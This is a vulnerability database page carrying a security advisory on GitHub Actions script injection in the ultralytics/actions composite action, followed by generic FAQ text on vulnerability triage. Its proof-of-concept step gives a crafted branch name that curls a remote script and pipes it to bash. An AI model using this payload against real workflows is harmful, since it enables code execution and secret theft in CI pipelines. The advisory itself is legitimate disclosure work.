Vulnerability Database

378,483

Total vulnerabilities in the database

GitHub Actions Script Injection in `ultralytics/actions` — ultralytics / actions

Improper Control of Generation of Code ('Code Injection')

Summary

The Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the pull_request_target trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.

Details

The issue exists because the action.yml is a composite action and uses certain fields by GitHub context expression within a run step:

echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}" echo "github.ref: ${{ github.ref }}" echo "github.head_ref: ${{ github.head_ref }}" echo "github.base_ref: ${{ github.base_ref }}"

In this case, github.head_ref and github.event.pull_request.head.ref are user controlled and can be used to inject code.

PoC

  1. Create a fork of any repository that uses ultralytics/actions within a workflow that runs on pull_request_target.

  2. In the fork create a branch as an injection payload, e.g.: Hacked";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash

  3. Create a draft pull request.

  4. If the action is reachable, then achieve arbitrary code execution.

ultra_cve_poc

See my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.

Impact

Any workflow that uses the action and runs on pull_request_target is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the GITHUB_TOKEN or steal secrets from the workflow.

Fix

Sanitize the user-controlled variables using environment vars.

  • Published: Aug 14, 2024
  • Updated: Jun 5, 2026
  • GHSA: GHSA-7x29-qqmq-v6qc
  • Severity: High
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: Critical
  • Score: 9.3
  • AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N

CWEs:

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.